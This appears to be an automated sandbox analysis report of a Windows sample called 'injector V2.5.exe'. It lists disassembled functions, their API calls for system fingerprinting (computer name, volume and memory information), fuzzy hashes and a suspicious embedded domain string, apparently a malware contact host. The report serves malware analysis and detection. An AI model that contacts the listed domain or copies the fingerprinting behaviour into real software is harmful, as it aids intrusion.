Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 6eee7fb56b216741d9e254beb93fa7d325fca87011add5b8bf6201ed1bef704a
Instruction ID: f739e72823b57d1503d00052262eb998e66a82a9cedbc8fc65eee28e5bd85988
Opcode Fuzzy Hash: 6eee7fb56b216741d9e254beb93fa7d325fca87011add5b8bf6201ed1bef704a
Instruction Fuzzy Hash: 5B51B071685602AFDB2D8F24C841BAB77A7FF40350F14452DE9469B2E2EB31EC41CBA4

Function 0060C5B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0060D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,006087B1,?,00000000,?), ref: 0060D192

GetLastError.KERNEL32 ref: 0060C61C
__dosmaperr.LIBCMT ref: 0060C623
GetLastError.KERNEL32(?,?,?,?), ref: 0060C65D
__dosmaperr.LIBCMT ref: 0060C664

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 4bd68b3a4c68cf0d323fcb42aa060372e80fa2adf96f9471f8420741abcacb81
Instruction ID: 71767a91d749248ddbebb3da48120a618fe5663b58ebe69ddb97bc7d09a22416
Opcode Fuzzy Hash: 4bd68b3a4c68cf0d323fcb42aa060372e80fa2adf96f9471f8420741abcacb81
Instruction Fuzzy Hash: 4421D371280205AFCB28AF618C8096BB7ABEF443747109728F815932D1D731EC019B94

Function 0060D22D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0060D235

Part of subcall function 0060D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,006087B1,?,00000000,?), ref: 0060D192

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0060D26D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0060D28D

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 91577003814281f6a0875950321e2b15ff1696f2c67446b39879fda7d15e4814
Instruction ID: f0cf7ff27ea5f247c0e54117a9cef729360b3b57976ae2fca76e139fdcc55ffd
Opcode Fuzzy Hash: 91577003814281f6a0875950321e2b15ff1696f2c67446b39879fda7d15e4814
Instruction Fuzzy Hash: 921104B15411197EE72927F15C8ACEF79AFCE943A47141629FA02D2181FF20CE024174

Function 006107C0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0060FF31,00000000,00000001,00000000,?,?,0060E9DA,?,00000000,00000000), ref: 006107D7
GetLastError.KERNEL32(?,0060FF31,00000000,00000001,00000000,?,?,0060E9DA,?,00000000,00000000,?,?,?,0060E320,00000000), ref: 006107E3

Part of subcall function 00610840: CloseHandle.KERNEL32(FFFFFFFE,006107F3,?,0060FF31,00000000,00000001,00000000,?,?,0060E9DA,?,00000000,00000000,?,?), ref: 00610850

___initconout.LIBCMT ref: 006107F3

Part of subcall function 00610815: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,006107B1,0060FF1E,?,?,0060E9DA,?,00000000,00000000,?), ref: 00610828

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0060FF31,00000000,00000001,00000000,?,?,0060E9DA,?,00000000,00000000,?), ref: 00610808

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d7211ebf9c72c28cf54ea0a2a6c7d54fbe707ac9dc50cfad985b0a869f1b6ee2
Instruction ID: b35eae0503a31cd1025018715329e1089a0362180c556f35c69b37157bc1383d
Opcode Fuzzy Hash: d7211ebf9c72c28cf54ea0a2a6c7d54fbe707ac9dc50cfad985b0a869f1b6ee2
Instruction Fuzzy Hash: 27F01C36500118BBCF621F91DC089CA3F6BFF087A1F08D422FA1885121C6B288A1ABE4

Function 00608D6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00608D75

Strings

csm, xrefs: 00608E08
csm, xrefs: 00608D97

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: a2330c4953a6710867f3c41d4b5234be1d3c65fe3bd1fc86572a63473baf3f7a
Instruction ID: 8b11afee77661924a0d05a3521388727417116ef2c97fae35163a1d6175c0f07
Opcode Fuzzy Hash: a2330c4953a6710867f3c41d4b5234be1d3c65fe3bd1fc86572a63473baf3f7a
Instruction Fuzzy Hash: CF31D276480215EFCF2ADF50C8048EB7B27FF18354B18865AF9844B2A1CB32DDA1DB81

Function 006045A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00604533: __EH_prolog3_GS.LIBCMT ref: 0060453A

std::domain_error::domain_error.LIBCPMT ref: 006045EC

Part of subcall function 006043A4: std::exception::exception.LIBCONCRT ref: 006043BA

Strings

CD`, xrefs: 006045D7
CD`, xrefs: 006045B6, 006045C9

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: H_prolog3_std::domain_error::domain_errorstd::exception::exception
String ID: CD`$CD`
API String ID: 2144476180-1617366341
Opcode ID: e3ca4566c9226ca9d6f969d0b3b34cd4b25045c7600e31d89021511d36e7f843
Instruction ID: 9fc4a7262d7bf4f98f76d5520bb6271170cf9d2da23b0abeed1232c22c1929e3
Opcode Fuzzy Hash: e3ca4566c9226ca9d6f969d0b3b34cd4b25045c7600e31d89021511d36e7f843
Instruction Fuzzy Hash: 7C011EB0E00218ABCF18EF69D8458AFBBFAFF88704B50851EE81597341DB74DA15CB94

Analysis Process: injector V2.5.exePID: 6276, Parent PID: 6996COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	52.7%
Total number of Nodes:	296
Total number of Limit Nodes:	27

Executed Functions

Function 0043AAE0 Relevance: 33.7, APIs: 11, Strings: 8, Instructions: 429
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00445678,00000000,00000001,00445668,00000000), ref: 0043ABDC
SysAllocString.OLEAUT32 ref: 0043AC48
CoSetProxyBlanket.COMBASE(899A8F55,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043AC91
SysAllocString.OLEAUT32 ref: 0043AD0B
SysAllocString.OLEAUT32 ref: 0043AD95
VariantInit.OLEAUT32(?), ref: 0043AE00
VariantClear.OLEAUT32(?), ref: 0043AF67
SysFreeString.OLEAUT32(?), ref: 0043AF8B
SysFreeString.OLEAUT32(?), ref: 0043AF91
SysFreeString.OLEAUT32(?), ref: 0043AFA5
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043AFD6

Strings

R[, xrefs: 0043AB16
dW, xrefs: 0043AB06
Q:, xrefs: 0043AB0E
2zS, xrefs: 0043ACB8
e], xrefs: 0043AAFE
HI, xrefs: 0043AD74
C, xrefs: 0043AB8E
\, xrefs: 0043AB96

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: 2zS$C$HI$Q:$R[$\$dW$e]
API String ID: 2573436264-720759029
Opcode ID: 5e6b082e055db898b934fdf9197fefba6d39db0357bb15cc51210463bf387c1e
Instruction ID: 6a22e06d1f4fc05d6b78d4c42da141d52bebcac01b0d814cd6b9e62af6d90257
Opcode Fuzzy Hash: 5e6b082e055db898b934fdf9197fefba6d39db0357bb15cc51210463bf387c1e
Instruction Fuzzy Hash: D8E1FBB5A48300AFE710DF24CC85B1BBBA4EF89714F04892DFAD49B291D779D805CB96

Function 0041A4DA Relevance: 13.5, APIs: 1, Strings: 6, Instructions: 1286COMMON

Download Yara Rule

Strings

2, xrefs: 0041B075
, xrefs: 0041B404
<=, xrefs: 0041B28F
).)(, xrefs: 0041AE15
qt, xrefs: 0041B20B
xO, xrefs: 0041A53E

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: $).)($2$<=$qt$xO
API String ID: 0-2945988728
Opcode ID: daf83befbd94119a431a41a0e334e64bfc8055be805bde0319cf7fce25fe707e
Instruction ID: 5e4571ce5de428b667a4c3889c18ec17afe0a2c9bbb95f7033fde70e5cca42b9
Opcode Fuzzy Hash: daf83befbd94119a431a41a0e334e64bfc8055be805bde0319cf7fce25fe707e
Instruction Fuzzy Hash: 9892EFB15093818BD730CF28D8957EBB7E1EF95314F04492DE4C98B292EB389955CB8A

Function 00426618 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 415
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

sq, xrefs: 00426A67, 00426A6B
\], xrefs: 00426B2C
I=[;, xrefs: 00426AEC
wu, xrefs: 00426976
k8i, xrefs: 0042697E

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: I=[;$\]$k8i$sq$wu
API String ID: 0-747998150
Opcode ID: 28cb73d1d0cc02d36672ee1a977835a0d48102061fa2e91f5168a448183b0567
Instruction ID: 955b5eedd81a2d287b6b2a0a7049552ade770855a1e15c3bb6f3f8b93f456ae3
Opcode Fuzzy Hash: 28cb73d1d0cc02d36672ee1a977835a0d48102061fa2e91f5168a448183b0567
Instruction Fuzzy Hash: 64D1DCB46183408FD7109F69E89162BBBF0EF96754F048A2DF8D58B351E778C905CB8A

Function 00408C70 Relevance: 7.6, APIs: 5, Instructions: 148
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408C92
GetCurrentThreadId.KERNEL32 ref: 00408CA5
GetCurrentProcessId.KERNEL32 ref: 00408CF8
GetForegroundWindow.USER32 ref: 00408D9A
ExitProcess.KERNEL32 ref: 00408E49

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 852f3edec621cee46796513dd3379348b33cbdda8d5f3486ffea238e5156b6f1
Instruction ID: 3275e4ff3b5ca12b3e474162ec97628056a9dc461025b04eb439f991107217f1
Opcode Fuzzy Hash: 852f3edec621cee46796513dd3379348b33cbdda8d5f3486ffea238e5156b6f1
Instruction Fuzzy Hash: E7412937B0471C1BD714AABADD4A396B6C55BC5314F09943EADC4EB3D2ED7C8C058298

Function 0042E398 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 386
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A0*#, xrefs: 0042EFA6
hzQ, xrefs: 0042EF9C
_mQ#, xrefs: 0042F148

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: hzQ$A0*#$_mQ#
API String ID: 0-649192675
Opcode ID: f82d120e8af8be456788801ec164f23a3b2fb0dbebe9317c1cc6ae22e21d26cd
Instruction ID: 4b5523de8a74e22659b03f91f74dabd82eea3889a317e08ffc949688807c81c0
Opcode Fuzzy Hash: f82d120e8af8be456788801ec164f23a3b2fb0dbebe9317c1cc6ae22e21d26cd
Instruction Fuzzy Hash: 39D1D671604B918FD729CF39C4607A3BBE2AF96304F5889BEC4DB8B742D67964098B14

Function 0042EF87 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042F0AC

Strings

A0*#, xrefs: 0042EFA6
hzQ, xrefs: 0042EF9C
_mQ#, xrefs: 0042F148

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: hzQ$A0*#$_mQ#
API String ID: 3960555810-649192675
Opcode ID: a8d4071317d906274c3a83410b64c27f8784fe66ad683627aac9826f0132bf2f
Instruction ID: cc1b18adca05992d375270c8dca019abda7103aa00f9c2d6f365f8d9dd4ca47d
Opcode Fuzzy Hash: a8d4071317d906274c3a83410b64c27f8784fe66ad683627aac9826f0132bf2f
Instruction Fuzzy Hash: 15B1D571604B518FD739CF35C4607A3BBE2AF96304F5889BEC0DB8B642D6796409CB15

Function 0040AD50 Relevance: 6.7, Strings: 5, Instructions: 422
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jqrs, xrefs: 0040AEBB
]ik, xrefs: 0040AE8B
ojz., xrefs: 0040ADCA, 0040AF81
HI, xrefs: 0040AF21
|xtr, xrefs: 0040AD62

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: HI$]ik$jqrs$ojz.$|xtr
API String ID: 0-1770020635
Opcode ID: f17d1536b8c2fdb34f57ab9c525659b88955117aa48b02a413fd2239fbc03639
Instruction ID: 67785220b70f3827788cb6707d2b0f55683535bf9b43b1d54505208aed880647
Opcode Fuzzy Hash: f17d1536b8c2fdb34f57ab9c525659b88955117aa48b02a413fd2239fbc03639
Instruction Fuzzy Hash: E3D149716483808BD314CF25C49136FBBE2EBD6354F28893DE4E55B391D779880ACB8A

Function 00409AE0 Relevance: 6.7, Strings: 5, Instructions: 422
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

E8521D1DD42FF4D4FF1C6333321FCDD9, xrefs: 00409B96
nhfn, xrefs: 00409D80
XY, xrefs: 00409E57
-y{, xrefs: 00409E17
nhfn, xrefs: 00409C25, 00409B90, 00409BB0, 00409B7C, 00409C80

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: -y{$E8521D1DD42FF4D4FF1C6333321FCDD9$XY$nhfn$nhfn
API String ID: 0-850811466
Opcode ID: de60a6e6b5a6f87dfc5846c1ef3a913909ff0d3018fa24760a7ac9a99148e2fd
Instruction ID: 8546714cd44759a876fd9954fd71d7a29741ca27fa0afc8555a1076a2539836e
Opcode Fuzzy Hash: de60a6e6b5a6f87dfc5846c1ef3a913909ff0d3018fa24760a7ac9a99148e2fd
Instruction Fuzzy Hash: 2CC101B15083408FD718DF35D89176BBBE5EB81318F284A2DE5D18B392D739C909CB9A

Function 0042F3ED Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 451
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042F41E
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 0042F51B

Strings

Y)|z, xrefs: 0042F608

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: ComputerName
String ID: Y)|z
API String ID: 3545744682-2475117699
Opcode ID: 97f176c82be860e80e99d39f12832de0245f955d9c8c03626df489495b74472d
Instruction ID: fc74388107325e7a7c6ff9d84f917176910edaac6ddaad0849e3e7f43fdaff55
Opcode Fuzzy Hash: 97f176c82be860e80e99d39f12832de0245f955d9c8c03626df489495b74472d
Instruction Fuzzy Hash: EBE10520604B918EE7258F39C4517A3FBE19F57304F88897EC0EB87392D778A50ACB65

Function 0040DA8D Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 330
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040DAA2

Strings

frogs-severz.sbs, xrefs: 0040DF06
~, xrefs: 0040DAB7

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: Uninitialize
String ID: frogs-severz.sbs$~
API String ID: 3861434553-158077946
Opcode ID: d5220d5670e1708917e11342a028b34298afbc7a44c78ac7098a28b1d0f5f590
Instruction ID: 1722d432d9f0582b287e1da6689c6b31669ffb2262be362835be31b09a1d3302
Opcode Fuzzy Hash: d5220d5670e1708917e11342a028b34298afbc7a44c78ac7098a28b1d0f5f590
Instruction Fuzzy Hash: 6CB1227550D3D18AE334CF25C4883ABBBE1AFD6304F18496DC4C96B392DB78850ACB96

Function 0040B97E Relevance: 2.7, Strings: 2, Instructions: 247
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\^, xrefs: 0040BC26
fW, xrefs: 0040BC1F

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: \^$fW
API String ID: 0-3607370474
Opcode ID: 421771a58df8ca6a154e1360e36a12261740e9a2c7fb950996592df75256efd9
Instruction ID: 10e2d8c8b8817ea46bc7347159ddd5c78d5c368216ceac52f0a264783e73b741
Opcode Fuzzy Hash: 421771a58df8ca6a154e1360e36a12261740e9a2c7fb950996592df75256efd9
Instruction Fuzzy Hash: EFC15FB09103048FE754DF56D989BA97FB2FB46210F6A81EAD4986F376D7308401CF96

Function 0040C5BE Relevance: 1.5, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

>>, xrefs: 0040C901

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: >>
API String ID: 0-1736523924
Opcode ID: 7af8eb769a22ffdd9c16f70ad9e8ac92724860ad1783acaeed051abb327547b5
Instruction ID: 7c71d9d39e9233a4463e6bb1d4aa4fb52488a76a512af14323cd7b14f7bf25fd
Opcode Fuzzy Hash: 7af8eb769a22ffdd9c16f70ad9e8ac92724860ad1783acaeed051abb327547b5
Instruction Fuzzy Hash: 14D151B0A10305DFE7149F56D989FA97BB1FB02344F1A86E9C0986F366D738804ACF95

Function 0043FAC0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043D9CC,?,00000004,?), ref: 0043FAEE

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 004427D0 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

5|iL, xrefs: 00442910

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: 5|iL
API String ID: 2994545307-1880071150
Opcode ID: 83b537e1dbfce20351aee27e641240664600955f68c64c0c17fc60d0245b25f2
Instruction ID: 43f1eb5f3548b8c432c73a1bceca2e042cd2c203e57e815d305badc86f4c0f4b
Opcode Fuzzy Hash: 83b537e1dbfce20351aee27e641240664600955f68c64c0c17fc60d0245b25f2
Instruction Fuzzy Hash: 044134756083015FF310AB65CD81B3BB392FB85754F64852EFA81973A1D7B9AC10C689

Function 00442530 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

@, xrefs: 00442605

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 0fdf649a435d52ac5a5c732e35b5cc11cd3da3e93830bd9053ff5a02c8acc1e3
Instruction ID: 5acdffe69cae81505c966d96251ea0ad62df83d0dc16d0938e8163ba38f455d3
Opcode Fuzzy Hash: 0fdf649a435d52ac5a5c732e35b5cc11cd3da3e93830bd9053ff5a02c8acc1e3
Instruction Fuzzy Hash: 2B4176729052118BE704DF25C81163B73E2FFD1318F55852DE8899B3A1EBB8E909C7D9

Function 00442B00 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

@, xrefs: 00442B69

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 8781769afd4aa028674d63a44a834a4a6058f55748eaeae4e69f9ed47e2d63b1
Instruction ID: 99004e87afd797850f2fb78f1faed6addb5c420ce39fc80ff8fa90756be4e84e
Opcode Fuzzy Hash: 8781769afd4aa028674d63a44a834a4a6058f55748eaeae4e69f9ed47e2d63b1
Instruction Fuzzy Hash: DC3121755083048FD310EF64C8C062BB7F5FF99354F54882EEA8587391E7B99908CB9A

Function 004190D0 Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1299ea76509b8ea174bbc27c620a2ba69db1fea38cb3e09b8d27ccae7010ce8
Instruction ID: 24ce980ff4f6a58d627c685f9a4cb555664744d48782882c0fbc1f5ad465b730
Opcode Fuzzy Hash: c1299ea76509b8ea174bbc27c620a2ba69db1fea38cb3e09b8d27ccae7010ce8
Instruction Fuzzy Hash: 10C18976908200DBD704AF24DC5266B73B1FF95324F09453DE986873D2EB78AD41C79A

Function 0042EB98 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 835fdbe9f719ff9c678dd2fe7c4a398285577e040ef0fd01f1e545fa34785d9f
Instruction ID: 157b9ebd1fe4a75857c22b0bdacde9d678e39962d3e493a910878895a0df6080
Opcode Fuzzy Hash: 835fdbe9f719ff9c678dd2fe7c4a398285577e040ef0fd01f1e545fa34785d9f
Instruction Fuzzy Hash: 7641476024A7D14FE326CB369460763BFE29F93304F5888AED0C78B292D6386806CB55

